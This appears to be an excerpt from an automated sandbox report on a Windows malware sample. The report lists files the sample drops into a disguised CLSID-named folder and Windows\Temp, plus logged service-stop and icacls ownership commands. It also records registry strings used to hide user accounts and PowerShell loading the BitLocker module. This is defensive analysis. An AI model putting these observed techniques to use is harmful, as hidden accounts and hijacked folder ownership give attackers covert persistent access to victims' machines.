Source: fYg6Jeg5.22.dr	Static PE information: section name: .xdata
Source: ypqwg32t.22.dr	Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_037AF262 push es; retf	0_2_037AF263
Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_0379124F push ecx; retf	0_2_03791252
Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_03796761 push esi; ret	0_2_03796763

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF8B915521B strlen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,strlen,strlen,GetProcessHeap,HeapAlloc,strlen,NetUserAdd,CreateProfile,

22_2_00007FF8B915521B

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\L0FsI2PI	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\rVtDGbMQ	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\gBXHuZY0	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ET5.exe	File created: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ET5.exe	File created: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\erT926ze	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\rmcjgYnL	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\y8J74cEH	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\ypqwg32t	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\fYg6Jeg5	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\3rVpJMV7	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\L0FsI2PI	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\rVtDGbMQ	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\gBXHuZY0	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\erT926ze	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\rmcjgYnL	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\y8J74cEH	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\ypqwg32t	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\fYg6Jeg5	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\3rVpJMV7	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\rVtDGbMQ	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\gBXHuZY0	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\3rVpJMV7	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\L0FsI2PI	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\erT926ze	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\y8J74cEH	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\rmcjgYnL	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\fYg6Jeg5	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\ypqwg32t	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe

File created: C:\Users\user\AppData\Local\Temp\installer.log

Jump to behavior

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF708878C4A strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

22_2_00007FF708878C4A

Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe

Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: main.exe	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: samctl.dll.22.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: samctl.dll.22.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: update.pkg.10.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: update.pkg.10.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe

Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18

Source: C:\Users\user\Desktop\ET5.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
